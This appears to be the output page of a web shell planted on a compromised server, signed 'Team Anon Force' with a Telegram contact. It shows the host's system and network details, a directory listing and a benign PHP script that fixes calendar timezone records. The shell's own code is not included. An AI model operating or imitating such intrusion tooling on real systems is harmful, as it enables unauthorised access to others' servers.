byp4a55 professor6T9

Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211

syno-tz-check.php

#!/usr/bin/env php
<?php
$script_file = __FILE__;

# Fix all timezones record without olson_name

$original_dir = getcwd();
chdir(str_replace('/scripts/syno-tz-check.php','/htdocs', $script_file));

require_once("./always.php");

chdir($original_dir);

$sql  = "SELECT tzid FROM timezones WHERE olson_name is null or olson_name=''";
  $sql2 = 'UPDATE timezones set olson_name=:olson_name WHERE tzid=:tzid';
  $qry = new AwlQuery($sql);
  if ( !$qry->Exec('tz/update',__LINE__,__FILE__)) {
	printf("select timezone failed, sql=$sql\n");
	exit(1);
  }

if( $qry->rows() < 1 ) {
	/* no timezone need to update */
	printf("nothing should fix\n");
	exit(0);
  }

while( $row = $qry->Fetch() ) {
	  unset($olson_name);
      $update_param = array();
	  $olson_name = olson_from_tzstring($row->tzid);

if(!isset($olson_name) || $olson_name == '') {
		  printf("get olson_name failed, tzid=$row->tzid\n");
		  continue;
	  }

$update_param[':olson_name'] = $olson_name;
	  $update_param[':tzid'] = $row->tzid;
	  $qry2 = new AwlQuery($sql2, $update_param);
	  if ( !$qry2->Exec('PUT',__LINE__,__FILE__) ) {
		  printf("update timezone failed, sql=$sql2\n");
		  continue;
	  }
	  printf("update timezone ok, tzid=$row->tzid, olson_name=$olson_name\n");
  }

exit(0);

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	0755	2026-01-22 06:06:58
..	dir	-	0/0	0755	2026-01-22 06:06:58
archive-old-events.php	text/plain	7.18 KB	0/0	0755	2026-01-22 05:48:29
cron-sync-ldap.php	text/plain	850 B	0/0	0755	2026-01-22 05:48:29
export_calendar.php	text/plain	1.75 KB	0/0	0755	2026-01-22 05:48:29
load_calendar.php	text/plain	3.51 KB	0/0	0755	2026-01-22 05:48:29
refresh-alarms.php	text/x-c	9.61 KB	0/0	0755	2026-01-22 05:48:29
sync-remote-caldav.php	text/x-php	17.98 KB	0/0	0755	2026-01-22 05:48:29
syno-tz-check.php	text/plain	1.24 KB	0/0	0755	2026-01-22 05:48:29
tz-update.php	text/plain	8.09 KB	0/0	0755	2026-01-22 05:48:29

Team Anon Force

https://t.me/Professor6T9x